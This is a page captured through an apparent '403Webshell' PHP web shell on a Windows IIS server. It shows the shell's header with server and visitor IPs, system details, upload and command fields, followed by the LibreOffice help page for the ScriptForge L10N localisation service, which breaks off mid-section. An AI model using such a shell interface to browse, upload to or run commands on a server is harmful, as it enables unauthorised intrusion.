403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.89
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Program Files/LibreOffice/help/en-US/text/sbasic/shared/03/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Program Files/LibreOffice/help/en-US/text/sbasic/shared/03/sf_l10n.html
<!DOCTYPE html>
<html lang="en-US" dir="ltr">
<head>
<base href="../../../../../">
<noscript><meta http-equiv="refresh" content="0; URL=../../../../../en-US/noscript.html"></noscript>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>ScriptForge.L10N service</title>
<link rel="shortcut icon" href="media/navigation/favicon.ico">
<link type="text/css" href="normalize.css" rel="Stylesheet">
<link type="text/css" href="prism.css" rel="Stylesheet">
<link type="text/css" href="default.css" rel="Stylesheet">
<script type="text/javascript" src="polyfills.js"></script><script type="text/javascript" src="languages.js"></script><script type="text/javascript" src="en-US/langnames.js"></script><script type="text/javascript" src="flexsearch.debug.js"></script><script type="text/javascript" src="prism.js"></script><script type="text/javascript" src="help2.js" defer></script><script type="text/javascript" src="a11y-toggle.js" defer></script><script type="text/javascript" src="paginathing.js" defer></script><script type="text/javascript" src="en-US/bookmarks.js" defer></script><script type="text/javascript" src="en-US/contents.js" defer></script><script type="text/javascript" src="help.js" defer></script><meta name="viewport" content="width=device-width,initial-scale=1">
</head>
<body>
<header id="TopLeftHeader"><a class="symbol" href="en-US/text/shared/05/new_help.html"><div></div></a><a class="logo" href="en-US/text/shared/05/new_help.html"><p dir="auto">LibreOffice 24.2 Help</p></a><div class="dropdowns"><div class="modules">
<button type="button" data-a11y-toggle="modules-nav" id="modules" aria-haspopup="true" aria-expanded="false" aria-controls="modules-nav">Module</button><nav id="modules-nav" hidden=""></nav>
</div></div></header><aside class="leftside"><input id="accordion-1" name="accordion-menu" type="checkbox"><label for="accordion-1" dir="auto">Contents</label><div id="Contents" class="contents-treeview"></div></aside><div id="SearchFrame"><div id="Bookmarks">
<input id="search-bar" type="search" class="search" placeholder="Search in bookmarks for chosen module" dir="auto"><div class="nav-container" tabindex="0"><nav class="index" dir="auto"></nav></div>
</div></div>
<div id="DisplayArea" itemprop="softwareHelp" itemscope="true" itemtype="http://schema.org/SoftwareApplication">
<a name="ScriptForge-sf_l10n"></a>
   <a name="bm_id571585843652319"></a>
      <meta itemprop="keywords" content="L10N service">
   


<a name="abstract"></a>
    <h1 id="hd_id521585843652750" dir="auto">
<a name="L10NService"></a><span class="literal">ScriptForge</span>.<span class="literal">L10N</span> service</h1>
    <p id="par_id411585843652556" class="paragraph" dir="auto">This service provides a number of methods related to the translation of strings with minimal impact on the program's source code. The methods provided by the <span class="literal">L10N</span> service can be used mainly to:</p>
    <ul itemprop="Unordered" itemscope="true" itemtype="http://schema.org/ItemList" dir="auto">
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id601614351922212" class="listitem" dir="auto">Create POT files that can be used as templates for translation of all strings in the program.</p>
      </li>
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id131614352196513" class="listitem" dir="auto">Get translated strings at runtime for the language defined in the <span class="literal">Locale</span> property.</p>
      </li>
    </ul>


    <div class="note">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/note.svg" alt="note" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id971614966420419" dir="auto">The acronym <span class="literal">L10N</span> stands for Localization and refers to a set of procedures for translating software to a specific country or region.</p></div>
</div>
<br>
    <p id="par_id291585843652438" class="paragraph" dir="auto">PO files have long been promoted in the free software community as a means to providing multilingual user interfaces. This is accomplished through the use of human-readable text files with a well defined structure that specifies, for any given language, the source language string and the localized string.</p>
    <p id="par_id181585843652814" class="paragraph" dir="auto">The main advantage of the PO format is dissociation of the programmer and the translator. PO files are independent text files, so the programmer can send POT template files to translators, who will then translate their contents and return the translated PO files for each supported language.</p>
    <div class="tip">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/tip.svg" alt="tip" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id811614352321187" dir="auto">The <span class="literal">L10N</span> service is based on the GNU implementation of PO (portable object) files. To learn more about this file format, visit <a target="_blank" href="https://www.gnu.org/software/gettext/manual/html_node/PO-Files.html">GNU gettext Utilities: PO Files</a>.</p></div>
</div>
<br>
  <p id="par_id91585843652832" class="paragraph" dir="auto">This service implements the methods listed below:</p>
    <ul itemprop="Unordered" itemscope="true" itemtype="http://schema.org/ItemList" dir="auto">
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id1158584365237" class="listitem" dir="auto"><span class="emph">AddText</span>: Used by the programmer to build a set of strings that will be translated later.</p>
      </li>
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id81637866601151" class="listitem" dir="auto"><span class="emph">AddTextsFromDialog</span>: Extracts all strings from a <span class="literal">Dialog</span> service instance.</p>
      </li>
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id681585843652331" class="listitem" dir="auto"><span class="emph">ExportToPOTFile</span>: Exports the strings added by the <span class="literal">AddText</span> method to a POT file.</p>
      </li>
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id531585843652697" class="listitem" dir="auto"><span class="emph">GetText</span>: Gets the translated strings at runtime.</p>
      </li>
    </ul>
    <div class="note">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/note.svg" alt="note" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id361614361362393" dir="auto">Note that the first two methods are used to build a set of translatable strings and export them to a POT file. However, it is not mandatory to create POT files using these methods. Since they are text files, the programmer could have created them using any text editor.</p></div>
</div>
<br>

    <h2 id="hd_id351585843652312" dir="auto">Service invocation</h2>
    <p id="par_id141609955500101" class="paragraph" dir="auto">Before using the <span class="literal">L10N</span> service the <span class="literal">ScriptForge</span> library needs to be loaded or imported:</p>
    <div class="embedded">
<a name="importLibs"></a>
    <div class="note">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/note.svg" alt="note" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id901528999850603" dir="auto">• Basic macros require to load <span class="literal">ScriptForge</span> library using the following statement:<br><span class="literal">GlobalScope.BasicLibraries.loadLibrary("ScriptForge")</span><br><br>• Python scripts require an import from <span class="literal">scriptforge</span> module:<br><span class="literal">from scriptforge import CreateScriptService</span>
    </p></div>
</div>
<br>
  </div>

    <p id="par_id421614353247163" class="paragraph" dir="auto">There are several ways to invoke the <span class="literal">L10N</span> service using up to five optional arguments that specify the folder where PO files are stored, the locale and encoding to be used, as well as a fallback PO file and its encoding.</p>
    <div class="embedded">
<a name="functsyntax"></a>
<h3 id="hd_id061420171139089682" dir="auto">Syntax:</h3>
</div>
    <p id="par_id481625854402332" class="paragraph" dir="auto">
      <span class="input" data-tooltip="Click on text to copy to clipboard">CreateScriptService("L10N", opt foldername: str, opt locale: str, encoding: str = "UTF-8", opt locale2: str, encoding2: str = "UTF-8"): svc</span>
    </p>
    <p id="par_id331585843652877" class="paragraph" dir="auto"><span class="emph">foldername</span>: The folder containing the PO files. It must be expressed in the <span class="literal">FileSystem.FileNaming</span> notation.</p>
    <p id="par_id581585843652789" class="paragraph" dir="auto"><span class="emph">locale</span>: A string in the form "la-CO" (language-COUNTRY) or in the form "la" (language) only.</p>
    <p id="par_id591646219881864" class="paragraph" dir="auto"><span class="emph">encoding</span>: The character set to be used. The default encoding is "UTF-8".</p>
    <p id="par_id281646219882464" class="paragraph" dir="auto"><span class="emph">locale2</span>: A string specifying the fallback locale to be used in case the PO file corresponding to the locale defined the <span class="literal">locale</span> parameter does not exist. This parameter is expressed in the form "la-CO" (language-COUNTRY) or "la" (language) only.</p>
    <p id="par_id881646219882951" class="paragraph" dir="auto"><span class="emph">encoding2</span>: The character set of the fallback PO file corresponding to the <span class="literal">locale2</span> argument. The default encoding is "UTF-8".</p>
    <div class="note">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/note.svg" alt="note" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id141613001281573" dir="auto">To learn more about the names of character sets, visit <a target="_blank" href="https://www.iana.org/assignments/character-sets/character-sets.xhtml">IANA's Character Set</a> page. Be aware that LibreOffice does not implement all existing character sets.</p></div>
</div>
<br>
    <div class="embedded">
<a name="functexample"></a>
<h3 id="hd_id061420171139088233" dir="auto">Example:</h3>
</div>
    <div class="embedded">
<a name="In_Basic"></a>
<h5 id="hd_id191620312698501" dir="auto">In Basic</h5>
</div>
    <p id="par_id891614358528334" class="paragraph" dir="auto">The following example instantiates the <span class="literal">L10N</span> service without any optional arguments. This will only enable the <span class="literal">AddText</span> and <span class="literal">ExportToPOTFile</span> methods, which is useful for creating POT files.</p>
    <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Click on text to copy to clipboard"><pre dir="auto"><code class="language-visual-basic line-numbers">
      GlobalScope.BasicLibraries.loadLibrary("ScriptForge")
      Dim myPO As Variant
      Set myPO = CreateScriptService("L10N")
    </code></pre></div>
    <p id="par_id611614358672609" class="paragraph" dir="auto">The example below specifies the folder containing the PO files. Because the locale is not defined, the service instance will use the locale defined for the LibreOffice user interface, which is the same locale defined in the <span class="literal">OfficeLocale</span> property of the <a target="_top" href="en-US/text/sbasic/shared/03/sf_platform.html">Platform</a> service.</p>
    <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Click on text to copy to clipboard"><pre dir="auto"><code class="language-visual-basic line-numbers">
      Set myPO = CreateScriptService("L10N", "C:\myPOFiles")
    </code></pre></div>
    <div class="warning">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/warning.svg" alt="warning" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id391625855630975" dir="auto">The example above will result in an runtime error if the PO file corresponding to the <span class="literal">OfficeLocale</span> locale does not exist in the specified folder.</p></div>
</div>
<br>
    <p id="par_id321614358809763" class="paragraph" dir="auto">In the example below, the locale is explicitly defined to be Belgian French ("fr-BE"), hence the service will load the file "fr-BE.po" from the folder "C:\myPOFiles". If the file does not exist, an error will occur.</p>
    <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Click on text to copy to clipboard"><pre dir="auto"><code class="language-visual-basic line-numbers">
      Set myPO = CreateScriptService("L10N", "C:\myPOFiles", "fr-BE", "UTF-8")
    </code></pre></div>
    <p id="par_id271646220649616" class="paragraph" dir="auto">To avoid errors, it is possible to specify a preferred and a fallback locale and encoding. The following example will first try to load the file "fr-BE.po" from the specified folder and if it does not exist, the file "en-US.po" will be loaded.</p>
    <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Click on text to copy to clipboard"><pre dir="auto"><code class="language-visual-basic line-numbers">
      Set myPO = CreateScriptService("L10N", "C:\myPOFiles", "fr-BE", "UTF-8", "en-US", "UTF-8")
    </code></pre></div>
    <div class="tip">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/tip.svg" alt="Tip Icon 
" style="width:40px;height:40px;"></div>
<div class="notetext"><p dir="auto">PO files must be named in the form "la-CO.po" or "la.po", where "la" refers to the language and "CO" is the country. Some examples are: "en-US.po", "fr-BE.po" or "fr.po".</p></div>
</div>
<br>
    <p id="par_id171585843652545" class="paragraph" dir="auto">It is recommended to free resources after use:</p>
    <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Click on text to copy to clipboard"><pre dir="auto"><code class="language-visual-basic line-numbers">
      Set myPO = myPO.Dispose()
    </code></pre></div>
    <div class="embedded">
<a name="In_Python"></a>
<h5 id="hd_id831620312769993" dir="auto">In Python</h5>
</div>
    <p id="par_id281625854773330" class="paragraph" dir="auto">The examples above can be translated to Python as follows:</p>
    <div class="pycode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Click on text to copy to clipboard"><pre dir="auto"><code class="language-python line-numbers">
      from scriptforge import CreateScriptService
      myPO = CreateScriptService('L10N')
    </code></pre></div>
    <div class="pycode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Click on text to copy to clipboard"><pre dir="auto"><code class="language-python line-numbers">
      myPO = CreateScriptService('L10N', r'C:\myPOFiles')
    </code></pre></div>
    <div class="pycode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Click on text to copy to clipboard"><pre dir="auto"><code class="language-python line-numbers">
      myPO = CreateScriptService('L10N', r'C:\myPOFiles', 'fr-BE')
    </code></pre></div>
    <div class="pycode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Click on text to copy to clipboard"><pre dir="auto"><code class="language-python line-numbers">
      myPO = CreateScriptService('L10N', r'C:\myPOFiles', 'fr-BE', 'UTF-8', 'en-US', 'UTF-8')
      myPO = myPO.Dispose()
    </code></pre></div>
    <div class="note">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/note.svg" alt="note" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id301614358956087" dir="auto">Several instances of the <span class="literal">L10N</span> service may coexist. However, each instance must use a separate directory for its PO files.</p></div>
</div>
<br>

<a name="bm_id871614359551930"></a>
  <meta itemprop="keywords" content="L10N service,Folder">
  <meta itemprop="keywords" content="L10N service,Languages">
  <meta itemprop="keywords" content="L10N service,Locale">


  <h2 id="hd_id561585843652465" dir="auto">Properties</h2>
  <a name="properties_toc"></a>
   <table border="1" class="" cellpadding="0" cellspacing="0">
      <tr>
          <th rowspan="" colspan="" class="tableheadcell" dir="auto">
              <p id="par_id181585843652958" class="tableheadintable" dir="auto">Name</p>
          </th>
          <th rowspan="" colspan="" class="tableheadcell" dir="auto">
              <p id="par_id741585843652162" class="tableheadintable" dir="auto">Readonly</p>
          </th>
          <th rowspan="" colspan="" class="tableheadcell" dir="auto">
              <p id="par_id291585843652823" class="tableheadintable" dir="auto">Type</p>
          </th>
          <th rowspan="" colspan="" class="tableheadcell" dir="auto">
              <p id="par_id351585843652638" class="tableheadintable" dir="auto">Description</p>
          </th>
      </tr>
      <tr>
          <td rowspan="" colspan="" dir="auto">
              <p id="par_id781585843652397" class="tablecontentintable" dir="auto">Folder</p>
          </td>
          <td rowspan="" colspan="" dir="auto">
              <p id="par_id451585843652928" class="tablecontentsintable" dir="auto">Yes</p>
          </td>
          <td rowspan="" colspan="" dir="auto">
              <p id="par_id351585843652874" class="tablecontentsintable" dir="auto">String</p>
          </td>
          <td rowspan="" colspan="" dir="auto">
              <p id="par_id751585843652642" class="tablecontentintable" dir="auto">The folder containing the PO files (see the <a target="_top" href="en-US/text/sbasic/shared/03/sf_filesystem.html#bm_id901612991354326"><span class="literal">FileSystem.FileNaming</span></a> property to learn about the notation used).</p>
          </td>
      </tr>
      <tr>
          <td rowspan="" colspan="" dir="auto">
              <p id="par_id161585843652104" class="tablecontentintable" dir="auto">Languages</p>
          </td>
          <td rowspan="" colspan="" dir="auto">
              <p id="par_id96158584365279" class="tablecontentsintable" dir="auto">Yes</p>
          </td>
          <td rowspan="" colspan="" dir="auto">
              <p id="par_id611585843652345" class="tablecontentsintable" dir="auto">Array</p>
          </td>
          <td rowspan="" colspan="" dir="auto">
              <p id="par_id331585843652912" class="tablecontentintable" dir="auto">A zero-based array listing all the base names (without the ".po" extension) of the PO-files found in the specified <span class="literal">Folder</span>.</p>
          </td>
      </tr>
      <tr>
          <td rowspan="" colspan="" dir="auto">
              <p id="par_id721585843652496" class="tablecontentintable" dir="auto">Locale</p>
          </td>
          <td rowspan="" colspan="" dir="auto">
              <p id="par_id961585843652589" class="tablecontentsintable" dir="auto">Yes</p>
          </td>
          <td rowspan="" colspan="" dir="auto">
              <p id="par_id611585843652290" class="tablecontentsintable" dir="auto">String</p>
          </td>
          <td rowspan="" colspan="" dir="auto">
              <p id="par_id561585843652947" class="tablecontentintable" dir="auto">The currently active language-COUNTRY combination. This property will be initially empty if the service was instantiated without any of the optional arguments.</p>
          </td>
      </tr>
    </table>
<br>
  

  <a name="methods_toc"></a>
   <table border="1" class="" cellpadding="0" cellspacing="0">
    <tr>
       <th rowspan="" colspan="3" class="tableheadcell" dir="auto">
           <p id="par_id231614360519973" class="tableheadintable" dir="auto">List of Methods in the L10N Service</p>
       </th>
    </tr>
    <tr>
       <td rowspan="" colspan="" dir="auto">
         <p id="par_id611614360519255" class="tablecontentintable" dir="auto">
           <a target="_top" href="en-US/text/sbasic/shared/03/sf_l10n.html#AddText">AddText</a><br>
           <a target="_top" href="en-US/text/sbasic/shared/03/sf_l10n.html#AddTextsFromDialog">AddTextsFromDialog</a>
         </p>
       </td>
       <td rowspan="" colspan="" dir="auto">
         <p id="par_id611614360519104" class="tablecontentintable" dir="auto">
           <a target="_top" href="en-US/text/sbasic/shared/03/sf_l10n.html#ExportToPOTFile">ExportToPOTFile</a><br><br>
         </p>
       </td>
       <td rowspan="" colspan="" dir="auto">
         <p id="par_id611614360518452" class="tablecontentintable" dir="auto">
           <a target="_top" href="en-US/text/sbasic/shared/03/sf_l10n.html#GetText">GetText</a><br><br>
         </p>
       </td>
    </tr>
   </table>
<br>
  

<a name="AddText"></a>
  
     <a name="bm_id951585843652555"></a>
         <meta itemprop="keywords" content="L10N service,AddText">
     
  <h2 id="hd_id191585843652902" dir="auto">AddText</h2>
  <p id="par_id1001585843652271" class="paragraph" dir="auto">Adds a new entry in the list of localizable strings. It must not exist yet.</p>
    <p id="par_id641625855725050" class="paragraph" dir="auto">The method returns <span class="literal">True</span> if successful.</p>
    <div class="embedded">
<a name="functsyntax"></a>
<h3 id="hd_id061420171139089682" dir="auto">Syntax:</h3>
</div>
    <p id="par_id241625855910866" class="paragraph" dir="auto">
      <span class="input" data-tooltip="Click on text to copy to clipboard">svc.AddText(context: str = '', msgid: str = '', comment: str = ''): bool</span>
    </p>
    <div class="embedded">
<a name="functparameters"></a>
<h3 id="hd_id061420171139084157" dir="auto">Parameters:</h3>
</div>
    <p id="par_id391585843652753" class="paragraph" dir="auto"><span class="emph">context</span>: The key to retrieve the translated string with the <span class="literal">GetText</span> method. This parameter has a default value of "".</p>
    <p id="par_id581585844419114" class="paragraph" dir="auto"><span class="emph">msgid</span>: The untranslated string, which is the text appearing in the program code. It must not be empty. The <span class="literal">msgid</span> becomes the key to retrieve the translated string via <span class="literal">GetText</span> method when <span class="literal">context</span> is empty.</p>
    <p id="par_id311614361926844" class="paragraph" dir="auto">The <span class="literal">msgid</span> string may contain any number of placeholders (%1 %2 %3 ...) for dynamically modifying the string at runtime.</p>
    <p id="par_id541585844475331" class="paragraph" dir="auto"><span class="emph">comment</span>: Optional comment to be added alongside the string to help translators.</p>
    <div class="embedded">
<a name="functexample"></a>
<h3 id="hd_id061420171139088233" dir="auto">Example:</h3>
</div>
    <p id="par_id461614364298440" class="paragraph" dir="auto">The example below creates a set of strings in English:</p>
    <div class="embedded">
<a name="In_Basic"></a>
<h5 id="hd_id191620312698501" dir="auto">In Basic</h5>
</div>
    <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Click on text to copy to clipboard"><pre dir="auto"><code class="language-visual-basic line-numbers">
      myPO.AddText(, "This is a string to be included in a POT file")
      myPO.AddText("CTX1", "A string with a context")
      myPO.AddText(, "Provide a String value", Comment := "Do not translate the word String")
    </code></pre></div>
    <div class="embedded">
<a name="In_Python"></a>
<h5 id="hd_id831620312769993" dir="auto">In Python</h5>
</div>
    <div class="pycode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Click on text to copy to clipboard"><pre dir="auto"><code class="language-python line-numbers">
      myPO.AddText(msgid = 'This is a string to be included in a POT file')
      myPO.AddText('CTX1', 'A string with a context')
      myPO.AddText(msgid = 'Provide a String value', comment = 'Do not translate the word String')
    </code></pre></div>


<a name="AddTextsFromDialog"></a>
  
  <a name="bm_id951585843650024"></a>
    <meta itemprop="keywords" content="L10N service,AddTextsFromDialog">
  
  <h2 id="hd_id191585843652058" dir="auto">AddTextsFromDialog</h2>
  <p id="par_id1001585843659821" class="paragraph" dir="auto">Automatically extracts strings from a dialog and adds them to the list of localizable text strings. The following strings are extracted:</p>
  <a name="L10NDlgControls"></a>
    <ul itemprop="Unordered" itemscope="true" itemtype="http://schema.org/ItemList" dir="auto">
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
          <p id="par_id621637863440015" class="listitem" dir="auto">The title of the dialog.</p>
      </li>
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
          <p id="par_id61637863440399" class="listitem" dir="auto">The caption of the following control types: Button, CheckBox, FixedLine, FixedText, GroupBox and RadioButton.</p>
      </li>
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
          <p id="par_id251637863440626" class="listitem" dir="auto">Static strings in ListBoxes and ComboBoxes.</p>
      </li>
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
          <p id="par_id811637863596791" class="listitem" dir="auto">The tooltip or help text displayed when the mouse hovers over the control.</p>
      </li>
    </ul>
  
  <p id="par_id641625855723650" class="paragraph" dir="auto">The method returns <span class="literal">True</span> if successful.</p>
  <div class="note">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/note.svg" alt="note" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id731637863894577" dir="auto">The dialog from which strings will be extracted must not be open when the method is called.</p></div>
</div>
<br>
  <p id="par_id911637864050221" class="paragraph" dir="auto">When a <span class="literal">L10N</span> service instance is created from an existing PO file, use the <a target="_top" href="en-US/text/sbasic/shared/03/sf_dialog.html#GetTextsFromL10N">GetTextsFromL10N</a> method from the <span class="literal">Dialog</span> service to automatically load all translated strings into the dialog.</p>
    <div class="embedded">
<a name="functsyntax"></a>
<h3 id="hd_id061420171139089682" dir="auto">Syntax:</h3>
</div>
    <p id="par_id241625855910158" class="paragraph" dir="auto">
      <span class="input" data-tooltip="Click on text to copy to clipboard">svc.AddTextsFromDialog(dialog: svc): bool</span>
    </p>
    <div class="embedded">
<a name="functparameters"></a>
<h3 id="hd_id061420171139084157" dir="auto">Parameters:</h3>
</div>
    <p id="par_id391585843652113" class="paragraph" dir="auto"><span class="emph">dialog</span>: a Dialog service instance corresponding to the dialog from which strings will be extracted.</p>
    <div class="embedded">
<a name="functexample"></a>
<h3 id="hd_id061420171139088233" dir="auto">Example:</h3>
</div>
    <p id="par_id461614364298983" class="paragraph" dir="auto">The following example extracts all strings from the dialog "MyDialog" stored in the "Standard" library and exports them to a POT file:</p>
    <div class="embedded">
<a name="In_Basic"></a>
<h5 id="hd_id191620312698501" dir="auto">In Basic</h5>
</div>
    <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Click on text to copy to clipboard"><pre dir="auto"><code class="language-visual-basic line-numbers">
      oDlg = CreateScriptService("Dialog", "GlobalScope", "Standard", "MyDialog")
      myPO = CreateScriptService("L10N")
      myPO.AddTextsFromDialog(oDlg)
      myPO.ExportToPOTFile("C:\en-US.pot")
    </code></pre></div>
    <div class="embedded">
<a name="In_Python"></a>
<h5 id="hd_id831620312769993" dir="auto">In Python</h5>
</div>
    <div class="pycode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Click on text to copy to clipboard"><pre dir="auto"><code class="language-python line-numbers">
      dlg = CreateScriptService("Dialog", "GlobalScope", "Standard", "Dialog1")
      myPO = CreateScriptService("L10N")
      myPO.AddTextsFromDialog(dlg)
      myPO.ExportToPOTFile("C:\en-US.pot")
    </code></pre></div>


<a name="ExportToPOTFile"></a>
  
     <a name="bm_id471586102707389"></a>
         <meta itemprop="keywords" content="L10N service,ExportToPOTFile">
     
     <h2 id="hd_id231586102707125" dir="auto">ExportToPOTFile</h2>
     <p id="par_id281586102707242" class="paragraph" dir="auto">Exports a set of untranslated strings as a POT file.</p>
     <p id="par_id711586102939257" class="paragraph" dir="auto">To build a set of strings you can use either a succession of <span class="literal">AddText</span> method calls, or by a successful invocation of the <span class="literal">L10N</span> service with the <span class="literal">foldername</span> argument present. It is also possible to use a combination of both techniques.</p>
     <p id="par_id641625855725141" class="paragraph" dir="auto">The method returns <span class="literal">True</span> if successful.</p>
     <div class="embedded">
<a name="functsyntax"></a>
<h3 id="hd_id061420171139089682" dir="auto">Syntax:</h3>
</div>
     <p id="par_id161625856621303" class="paragraph" dir="auto">
       <span class="input" data-tooltip="Click on text to copy to clipboard">svc.ExportToPOTFile(filename: str, header: str = '', encoding:str = 'UTF-8'): bool</span>
     </p>
     <div class="embedded">
<a name="functparameters"></a>
<h3 id="hd_id061420171139084157" dir="auto">Parameters:</h3>
</div>
     <p id="par_id31586102707537" class="paragraph" dir="auto"><span class="emph">filename</span>: The full output file name in <span class="literal">FileSystem.FileNaming</span> notation.</p>
     <p id="par_id851586102707579" class="paragraph" dir="auto"><span class="emph">header</span>: Comments that will be added on top of the generated POT file.</p>
     <p id="par_id111614364686973" class="paragraph" dir="auto">Do not include any leading "#" characters. If you want the header to be broken into multiple lines, insert escape sequences (\n) where relevant. A standard header will be added alongside the text specified in the <span class="literal">header</span> argument.</p>
     <p id="par_id5158610270728" class="paragraph" dir="auto"><span class="emph">encoding</span>: The character set to be used (Default = "UTF-8").</p>
     <div class="embedded">
<a name="functexample"></a>
<h3 id="hd_id061420171139088233" dir="auto">Example:</h3>
</div>
     <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Click on text to copy to clipboard"><pre dir="auto"><code class="language-visual-basic line-numbers">
       ' Basic
       myPO.ExportToPOTFile("C:\myFile.pot", Header := "First line of the header\nSecond line of the header")
    </code></pre></div>
    <div class="pycode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Click on text to copy to clipboard"><pre dir="auto"><code class="language-python line-numbers">
      # Python
      myPO.ExportToPOTFile('C:\myFile.pot', header = 'First line of the header\nSecond line of the header')
    </code></pre></div>
    <div class="note">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/note.svg" alt="note" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id581614364494235" dir="auto">The generated file should successfully pass the <span class="literal">msgfmt --check</span> GNU command.</p></div>
</div>
<br>


<a name="GetText"></a>
  
    <a name="bm_id131586165768747"></a>
        <meta itemprop="keywords" content="L10N service,GetText">
    
    <h2 id="hd_id56158616576884" dir="auto">GetText</h2>
    <p id="par_id891586165768715" class="paragraph" dir="auto">Gets the translated string corresponding to the given <span class="literal">msgid</span> argument.</p>
    <p id="par_id291614365296959" class="paragraph" dir="auto">A list of arguments may be specified to replace the placeholders (%1, %2, ...) in the string.</p>
    <p id="par_id231586166181909" class="paragraph" dir="auto">If no translated string is found, the method returns the untranslated string after replacing the placeholders with the specified arguments.</p>
    <div class="embedded">
<a name="functsyntax"></a>
<h3 id="hd_id061420171139089682" dir="auto">Syntax:</h3>
</div>
    <p id="par_id871586352505927" class="paragraph" dir="auto">This method can be called either by the full name <span class="literal">GetText</span> or by the shortcut <span class="literal">_</span> (a single underscore):</p>
    <p id="par_id661625857165908" class="paragraph" dir="auto">
      <span class="input" data-tooltip="Click on text to copy to clipboard">svc.GetText(msgid: str, args: any[0..*]): str</span>
    </p>
    <p id="par_id661625857165119" class="paragraph" dir="auto">
      <span class="input" data-tooltip="Click on text to copy to clipboard">svc._(msgid: str, args: any[0..*]): str</span>
    </p>
    <div class="note">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/note.svg" alt="note" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id421614967136502" dir="auto">In the ScriptForge library, all methods starting with the "_" character are reserved for internal use only. However, the shortcut <span class="literal">_</span> used for <span class="literal">GetText</span> is the only exception to this rule, hence it can be safely used in Basic and Python scripts.</p></div>
</div>
<br>
    <div class="embedded">
<a name="functparameters"></a>
<h3 id="hd_id061420171139084157" dir="auto">Parameters:</h3>
</div>
    <p id="par_id51586165768525" class="paragraph" dir="auto"><span class="emph">msgid</span>: The untranslated string, which is the text appearing in the program code. It must not be empty. It may contain any number of placeholders (%1 %2 %3 ...) that can be used to dynamically insert text at runtime.</p>
    <p id="par_id11614365537450" class="paragraph" dir="auto">Besides using a single <span class="literal">msgid</span> string, this method also accepts the following formats:</p>
    <ul itemprop="Unordered" itemscope="true" itemtype="http://schema.org/ItemList" dir="auto">
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
